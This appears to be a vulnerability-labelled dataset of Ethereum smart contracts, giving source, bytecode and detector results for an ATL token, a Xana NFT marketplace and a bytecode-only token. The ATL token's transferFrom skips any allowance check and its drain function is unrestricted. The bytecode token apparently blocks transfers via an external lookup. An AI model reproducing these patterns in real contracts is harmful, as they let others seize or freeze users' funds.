601f16801561037a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103d46004803603604081101561039e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b60405180821515815260200191505060405180910390f35b61044e6004803603604081101561040257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6f565b6040518082815260200191505060405180910390f35b6104a66004803603602081101561047a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d94565b604051808260ff16815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105555780601f1061052a57610100808354040283529160200191610555565b820191906000526020600020905b81548152906001019060200180831161053857829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b60006001600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa9fce49866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561067d57600080fd5b505afa158015610691573d6000803e3d6000fd5b505050506040513d60208110156106a757600080fd5b810190808051906020019092919050505060ff16141561072f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f506c656173652074727920616761696e0000000000000000000000000000000081525060200191505060405180910390fd5b81610739856109c5565b10156107ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f62616c616e636520746f6f206c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561089f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f616c6c6f77616e636520746f6f206c6f7700000000000000000000000000000081525060200191505060405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60065481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa35780601f10610a7857610100808354040283529160200191610aa3565b820191906000526020600020905b815481529060010190602001808311610a8657829003601f168201915b505050505081565b60006001600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa9fce49336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b3857600080fd5b505afa158015610b4c573d6000803e3d6000fd5b505050506040513d6020811015610b6257600080fd5b810190808051906020019092919050505060ff161415610bea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f506c656173652074727920616761696e0000000000000000000000000000000081525060200191505060405180910390fd5b81610bf4336109c5565b1015610c68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f62616c616e636520746f6f206c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60006001905091905056fea2646970667358221220954552c20d9bc9fedd57c443f4b85c056eaaf5c8231a70a06725e987112ffb2264736f6c63430007060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
14142,
2575,
2683,
2629,
2546,
2692,
26224,
2581,
2620,
2497,
28311,
16703,
10322,
14142,
2278,
26187,
2629,
7011,
2546,
2094,
2549,
2278,
2575,
2050,
2692,
12879,
18939,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1016,
1025,
8278,
9226,
4783,
2361,
11387,
1063,
3853,
29095,
8189,
11905,
2078,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
1065,
3206,
17076,
6525,
11266,
2003,
9226,
4783,
2361,
11387,
1063,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
9226,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,545 | 0x95531cc23f35b68c56047da359a1288917b8a473 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public AD = 0xf77F9D99dB407f8dA9131D15e385785923F65473;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyAD(){
require(msg.sender == AD);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyAD public;
/**
* @dev Allows the current token commission receiver to transfer control of the contract to a new token commission receiver.
* @param newTokenCommissionReceiver The address to transfer token commission receiver to.
*/
function transferCommissionReceiver(address newTokenCommissionReceiver) onlyAD public;
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
// The percentage of commission
uint public commissionPercentForCreator = 1;
// Coin Properties
uint256 public decimals = 18;
// one coin
uint256 public oneCoin = 10 ** decimals;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function isTransferable(address _sender, address _receiver, uint256 value) public returns (bool) {
uint256 actualValue = value;
// in case sender is owner, need to make sure owner has enough token for both commission and sending amount
// in case receiver is owner, we no need to care because they will enough to transfer 1% of receive amount
if (_sender == owner) {
uint cm = (value * oneCoin * commissionPercentForCreator).div(100);
actualValue = actualValue + cm;
}
// Check if the sender has enough
if (balances[_sender] < actualValue) return false;
// Check for overflows
if (balances[_receiver] + value < balances[_receiver]) return false;
return true;
}
/* This unnamed function is called whenever someone tries to send ether to it */
function() public {
// Prevents accidental sending of ether
revert();
}
}
/**
* @title ATL token
*/
contract ATLToken is StandardToken {
// total supply to market 10.000.000 coins
uint256 public totalSupply = 10 * (10**6) * oneCoin;
// The address that will receive the commission for each transaction to or from the owner
address public tokenCommissionReceiver = 0xEa8867Ce34CC66318D4A055f43Cac6a88966C43f;
string public name = "ATON";
string public symbol = "ATL";
function ATLToken() public {
balances[msg.sender] = totalSupply;
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
_value = _value.div(oneCoin);
if (!isTransferable(msg.sender, _to, _value)) revert();
if (_to == owner || msg.sender == owner) {
//calculate the commission
uint cm = (_value * oneCoin * commissionPercentForCreator).div(100);
//make sure commision always transfer from owner
super.transferFrom(owner, tokenCommissionReceiver, cm);
}
return super.transfer(_to, _value * oneCoin);
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_value = _value.div(oneCoin);
if (!isTransferable(_from, _to, _value)) revert();
if (_from == owner || _to == owner) {
//calculate the commission
uint cm = (_value * oneCoin * commissionPercentForCreator).div(100);
//make sure commision always transfer from owner
super.transferFrom(owner, tokenCommissionReceiver, cm);
}
return super.transferFrom(_from, _to, _value * oneCoin);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyAD public {
if (newOwner != address(0)) {
uint256 totalTokenOfOwner = balances[owner];
//make sure transfer all token from owner to new owner
super.transferFrom(owner, newOwner, totalTokenOfOwner);
owner = newOwner;
}
}
/**
* @dev Allows the current token commission receiver to transfer control of the contract to a new token commission receiver.
* @param newTokenCommissionReceiver The address to transfer token commission receiver to.
*/
function transferCommissionReceiver(address newTokenCommissionReceiver) onlyAD public {
if (newTokenCommissionReceiver != address(0)) {
tokenCommissionReceiver = newTokenCommissionReceiver;
}
}
function emergencyERC20Drain( ERC20Basic oddToken, uint256 amount ) public {
oddToken.transfer(owner, amount);
}
} | 0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f55780630bba662d1461017f57806318160ddd146101a457806323b872dd146101b75780632f318039146101f3578063313ce5671461021b578063394313081461022e5780635bcc81981461024157806370a08231146102705780638da5cb5b1461028f57806395d89b41146102a2578063a9059cbb146102b5578063d0600560146102d7578063db0e16f1146102ea578063f1dd08b41461030e578063f2fde38b1461032d575b34156100f057600080fd5b600080fd5b341561010057600080fd5b61010861034c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014457808201518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018a57600080fd5b6101926103ea565b60405190815260200160405180910390f35b34156101af57600080fd5b6101926103f0565b34156101c257600080fd5b6101df600160a060020a03600435811690602435166044356103f6565b604051901515815260200160405180910390f35b34156101fe57600080fd5b6101df600160a060020a03600435811690602435166044356104a9565b341561022657600080fd5b610192610549565b341561023957600080fd5b61019261054f565b341561024c57600080fd5b610254610555565b604051600160a060020a03909116815260200160405180910390f35b341561027b57600080fd5b610192600160a060020a0360043516610564565b341561029a57600080fd5b61025461057f565b34156102ad57600080fd5b61010861058e565b34156102c057600080fd5b6101df600160a060020a03600435166024356105f9565b34156102e257600080fd5b6102546106ab565b34156102f557600080fd5b61030c600160a060020a03600435166024356106ba565b005b341561031957600080fd5b61030c600160a060020a0360043516610758565b341561033857600080fd5b61030c600160a060020a03600435166107ae565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103e25780601f106103b7576101008083540402835291602001916103e2565b820191906000526020600020905b8154815290600101906020018083116103c557829003601f168201915b505050505081565b60055481565b60065481565b60008061040e6005548461083190919063ffffffff16565b925061041b8585856104a9565b151561042657600080fd5b600054600160a060020a038681169116148061044f5750600054600160a060020a038581169116145b156104915760035460055461046f9190850202606463ffffffff61083116565b60005460075491925061048f91600160a060020a03918216911683610848565b505b6104a085856005548602610848565b95945050505050565b6000805482908290600160a060020a03878116911614156104e6576003546005546104df9190860202606463ffffffff61083116565b9182019190505b600160a060020a038616600090815260026020526040902054829010156105105760009250610540565b600160a060020a038516600090815260026020526040902054848101101561053b5760009250610540565b600192505b50509392505050565b60045481565b60035481565b600754600160a060020a031681565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103e25780601f106103b7576101008083540402835291602001916103e2565b6000806106116005548461083190919063ffffffff16565b925061061e3385856104a9565b151561062957600080fd5b600054600160a060020a0385811691161480610653575060005433600160a060020a039081169116145b15610695576003546005546106739190850202606463ffffffff61083116565b60005460075491925061069391600160a060020a03918216911683610848565b505b6106a384600554850261091d565b949350505050565b600154600160a060020a031681565b60008054600160a060020a038085169263a9059cbb92909116908490604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561073957600080fd5b6102c65a03f1151561074a57600080fd5b505050604051805150505050565b60015433600160a060020a0390811691161461077357600080fd5b600160a060020a038116156107ab576007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60015460009033600160a060020a039081169116146107cc57600080fd5b600160a060020a0382161561082d575060008054600160a060020a0316808252600260205260409091205490610803908383610848565b506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5050565b600080828481151561083f57fe5b04949350505050565b6000600160a060020a038316151561085f57600080fd5b600160a060020a038316600090815260026020526040902054610888908363ffffffff6109dc16565b600160a060020a0380851660009081526002602052604080822093909355908616815220546108bd908363ffffffff6109f216565b600160a060020a038086166000818152600260205260409081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a033316600090815260026020526040812054610946908363ffffffff6109f216565b600160a060020a03338116600090815260026020526040808220939093559085168152205461097b908363ffffffff6109dc16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156109eb57fe5b9392505050565b6000828211156109fe57fe5b509003905600a165627a7a72305820369bc922fe586f997dd543d6a62ef83285047dd27e60b4dc36fc75209a491cc30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
21486,
9468,
21926,
2546,
19481,
2497,
2575,
2620,
2278,
26976,
2692,
22610,
2850,
19481,
2683,
27717,
22407,
2620,
2683,
16576,
2497,
2620,
2050,
22610,
2509,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,546 | 0x9553489B31fFf9B6D5B7e899057291cAE69ba7Dc | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
interface IXanaAddressRegistry {
function xana() external view returns (address);
function bundleMarketplace() external view returns (address);
function auction() external view returns (address);
function factory() external view returns (address);
function privateFactory() external view returns (address);
function artFactory() external view returns (address);
function privateArtFactory() external view returns (address);
function tokenRegistry() external view returns (address);
function priceFeed() external view returns (address);
}
interface IXanaAuction {
function auctions(address, uint256)
external
view
returns (
address,
address,
uint256,
uint256,
uint256,
bool
);
}
interface IXanaBundleMarketplace {
function validateItemSold(
address,
uint256,
uint256
) external;
}
interface IXanaNFTFactory {
function exists(address) external view returns (bool);
}
interface IXanaTokenRegistry {
function enabled(address) external view returns (bool);
}
interface IXanaPriceFeed {
function wETH() external view returns (address);
function getPrice(address) external view returns (int256, uint8);
}
contract XanaMarketplace is OwnableUpgradeable, ReentrancyGuardUpgradeable {
using SafeMath for uint256;
using AddressUpgradeable for address payable;
using SafeERC20 for IERC20;
/// @notice Events for the contract
event ItemListed(
address indexed owner,
address indexed nft,
uint256 tokenId,
uint256 quantity,
address payToken,
uint256 pricePerItem,
uint256 startingTime
);
event ItemSold(
address indexed seller,
address indexed buyer,
address indexed nft,
uint256 tokenId,
uint256 quantity,
address payToken,
int256 unitPrice,
uint256 pricePerItem
);
event ItemUpdated(
address indexed owner,
address indexed nft,
uint256 tokenId,
address payToken,
uint256 newPrice
);
event ItemCanceled(
address indexed owner,
address indexed nft,
uint256 tokenId
);
event OfferCreated(
address indexed creator,
address indexed nft,
uint256 tokenId,
uint256 quantity,
address payToken,
uint256 pricePerItem,
uint256 deadline
);
event OfferCanceled(
address indexed creator,
address indexed nft,
uint256 tokenId
);
event UpdatePlatformFee(uint16 platformFee);
event UpdatePlatformFeeRecipient(address payable platformFeeRecipient);
/// @notice Structure for listed items
struct Listing {
uint256 quantity;
address payToken;
uint256 pricePerItem;
uint256 startingTime;
}
/// @notice Structure for offer
struct Offer {
IERC20 payToken;
uint256 quantity;
uint256 pricePerItem;
uint256 deadline;
}
struct CollectionRoyalty {
uint16 royalty;
address creator;
address feeRecipient;
}
bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant INTERFACE_ID_ERC1155 = 0xd9b67a26;
/// @notice NftAddress -> Token ID -> Minter
mapping(address => mapping(uint256 => address)) public minters;
/// @notice NftAddress -> Token ID -> Royalty
mapping(address => mapping(uint256 => uint16)) public royalties;
/// @notice NftAddress -> Token ID -> Owner -> Listing item
mapping(address => mapping(uint256 => mapping(address => Listing)))
public listings;
/// @notice NftAddress -> Token ID -> Offerer -> Offer
mapping(address => mapping(uint256 => mapping(address => Offer)))
public offers;
/// @notice Platform fee
uint16 public platformFee;
/// @notice Platform fee receipient
address payable public feeReceipient;
/// @notice reward token owner
address public rewardTokenOwner;
/// @notice reward token
IERC20 public RWT;
/// @notice reward fee
uint256 public rewardFee;
/// @notice NftAddress -> Royalty
mapping(address => CollectionRoyalty) public collectionRoyalties;
/// @notice Address registry
IXanaAddressRegistry public addressRegistry;
modifier onlyMarketplace() {
require(
address(addressRegistry.bundleMarketplace()) == _msgSender(),
"sender must be bundle marketplace"
);
_;
}
modifier isListed(
address _nftAddress,
uint256 _tokenId,
address _owner
) {
Listing memory listing = listings[_nftAddress][_tokenId][_owner];
require(listing.quantity > 0, "not listed item");
_;
}
modifier notListed(
address _nftAddress,
uint256 _tokenId,
address _owner
) {
Listing memory listing = listings[_nftAddress][_tokenId][_owner];
require(listing.quantity == 0, "already listed");
_;
}
modifier validListing(
address _nftAddress,
uint256 _tokenId,
address _owner
) {
Listing memory listedItem = listings[_nftAddress][_tokenId][_owner];
_validOwner(_nftAddress, _tokenId, _owner, listedItem.quantity);
require(_getNow() >= listedItem.startingTime, "item not buyable");
_;
}
modifier offerExists(
address _nftAddress,
uint256 _tokenId,
address _creator
) {
Offer memory offer = offers[_nftAddress][_tokenId][_creator];
require(
offer.quantity > 0 && offer.deadline > _getNow(),
"offer not exists or expired"
);
_;
}
modifier offerNotExists(
address _nftAddress,
uint256 _tokenId,
address _creator
) {
Offer memory offer = offers[_nftAddress][_tokenId][_creator];
require(
offer.quantity == 0 || offer.deadline <= _getNow(),
"offer already created"
);
_;
}
/// @notice Contract initializer
function initialize(address payable _feeRecipient, uint16 _platformFee, IERC20 _RWT, address _rewardTokenOwner, IXanaAddressRegistry _addressRegistry, uint256 _rewardFee)
public
initializer
{
platformFee = _platformFee;
feeReceipient = _feeRecipient;
RWT = _RWT;
rewardFee = _rewardFee;
addressRegistry = _addressRegistry;
rewardTokenOwner = _rewardTokenOwner;
__Ownable_init();
__ReentrancyGuard_init();
}
/// @notice Method for listing NFT
/// @param _nftAddress Address of NFT contract
/// @param _tokenId Token ID of NFT
/// @param _quantity token amount to list (needed for ERC-1155 NFTs, set as 1 for ERC-721)
/// @param _payToken Paying token
/// @param _pricePerItem sale price for each iteam
/// @param _startingTime scheduling for a future sale
function listItem(
address _nftAddress,
uint256 _tokenId,
uint256 _quantity,
address _payToken,
uint256 _pricePerItem,
uint256 _startingTime
) external notListed(_nftAddress, _tokenId, _msgSender()) {
if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721 nft = IERC721(_nftAddress);
require(nft.ownerOf(_tokenId) == _msgSender(), "not owning item");
require(
nft.isApprovedForAll(_msgSender(), address(this)),
"item not approved"
);
} else if (
IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)
) {
IERC1155 nft = IERC1155(_nftAddress);
require(
nft.balanceOf(_msgSender(), _tokenId) >= _quantity,
"must hold enough nfts"
);
require(
nft.isApprovedForAll(_msgSender(), address(this)),
"item not approved"
);
} else {
revert("invalid nft address");
}
_validPayToken(_payToken);
listings[_nftAddress][_tokenId][_msgSender()] = Listing(
_quantity,
_payToken,
_pricePerItem,
_startingTime
);
emit ItemListed(
_msgSender(),
_nftAddress,
_tokenId,
_quantity,
_payToken,
_pricePerItem,
_startingTime
);
}
/// @notice Method for canceling listed NFT
function cancelListing(address _nftAddress, uint256 _tokenId)
external
nonReentrant
isListed(_nftAddress, _tokenId, _msgSender())
{
_cancelListing(_nftAddress, _tokenId, _msgSender());
}
/// @notice Method for updating listed NFT
/// @param _nftAddress Address of NFT contract
/// @param _tokenId Token ID of NFT
/// @param _payToken payment token
/// @param _newPrice New sale price for each iteam
function updateListing(
address _nftAddress,
uint256 _tokenId,
address _payToken,
uint256 _newPrice
) external nonReentrant isListed(_nftAddress, _tokenId, _msgSender()) {
Listing storage listedItem = listings[_nftAddress][_tokenId][
_msgSender()
];
_validOwner(_nftAddress, _tokenId, _msgSender(), listedItem.quantity);
_validPayToken(_payToken);
listedItem.payToken = _payToken;
listedItem.pricePerItem = _newPrice;
emit ItemUpdated(
_msgSender(),
_nftAddress,
_tokenId,
_payToken,
_newPrice
);
}
/// @notice Method for buying listed NFT
/// @param _nftAddress NFT contract address
/// @param _tokenId TokenId
function buyItem(
address _nftAddress,
uint256 _tokenId,
address _payToken,
address _owner
)
external
nonReentrant
isListed(_nftAddress, _tokenId, _owner)
validListing(_nftAddress, _tokenId, _owner)
{
Listing memory listedItem = listings[_nftAddress][_tokenId][_owner];
require(listedItem.payToken == _payToken, "invalid pay token");
_buyItem(_nftAddress, _tokenId, _payToken, _owner);
}
function _buyItem(
address _nftAddress,
uint256 _tokenId,
address _payToken,
address _owner
) private {
Listing memory listedItem = listings[_nftAddress][_tokenId][_owner];
uint256 price = listedItem.pricePerItem.mul(listedItem.quantity);
uint256 feeAmount = price.mul(platformFee).div(1e4);
IERC20(_payToken).safeTransferFrom(
_msgSender(),
feeReceipient,
feeAmount
);
address minter = minters[_nftAddress][_tokenId];
uint16 royalty = royalties[_nftAddress][_tokenId];
if (minter != address(0) && royalty != 0) {
uint256 royaltyFee = price.sub(feeAmount).mul(royalty).div(10000);
IERC20(_payToken).safeTransferFrom(
_msgSender(),
minter,
royaltyFee
);
feeAmount = feeAmount.add(royaltyFee);
} else {
minter = collectionRoyalties[_nftAddress].feeRecipient;
royalty = collectionRoyalties[_nftAddress].royalty;
if (minter != address(0) && royalty != 0) {
uint256 royaltyFee = price.sub(feeAmount).mul(royalty).div(
10000
);
IERC20(_payToken).safeTransferFrom(
_msgSender(),
minter,
royaltyFee
);
feeAmount = feeAmount.add(royaltyFee);
}
}
IERC20(_payToken).safeTransferFrom(
_msgSender(),
_owner,
price.sub(feeAmount)
);
if (price.sub(feeAmount) != 0) {
RWT.safeTransferFrom(rewardTokenOwner, _owner, price.sub(feeAmount).mul(rewardFee).div(10000));
RWT.safeTransferFrom(rewardTokenOwner, _msgSender(), price.sub(feeAmount).mul(rewardFee).div(10000));
}
// Transfer NFT to buyer
if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721(_nftAddress).safeTransferFrom(
_owner,
_msgSender(),
_tokenId
);
} else {
IERC1155(_nftAddress).safeTransferFrom(
_owner,
_msgSender(),
_tokenId,
listedItem.quantity,
bytes("")
);
}
IXanaBundleMarketplace(addressRegistry.bundleMarketplace())
.validateItemSold(_nftAddress, _tokenId, listedItem.quantity);
emit ItemSold(
_owner,
_msgSender(),
_nftAddress,
_tokenId,
listedItem.quantity,
_payToken,
getPrice(_payToken),
price.div(listedItem.quantity)
);
delete (listings[_nftAddress][_tokenId][_owner]);
}
/// @notice Method for offering item
/// @param _nftAddress NFT contract address
/// @param _tokenId TokenId
/// @param _payToken Paying token
/// @param _quantity Quantity of items
/// @param _pricePerItem Price per item
/// @param _deadline Offer expiration
function createOffer(
address _nftAddress,
uint256 _tokenId,
IERC20 _payToken,
uint256 _quantity,
uint256 _pricePerItem,
uint256 _deadline
) external offerNotExists(_nftAddress, _tokenId, _msgSender()) {
require(
IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721) ||
IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155),
"invalid nft address"
);
IXanaAuction auction = IXanaAuction(addressRegistry.auction());
(, , , uint256 startTime, , bool resulted) = auction.auctions(
_nftAddress,
_tokenId
);
require(
startTime == 0 || resulted == true,
"cannot place an offer if auction is going on"
);
require(_deadline > _getNow(), "invalid expiration");
_validPayToken(address(_payToken));
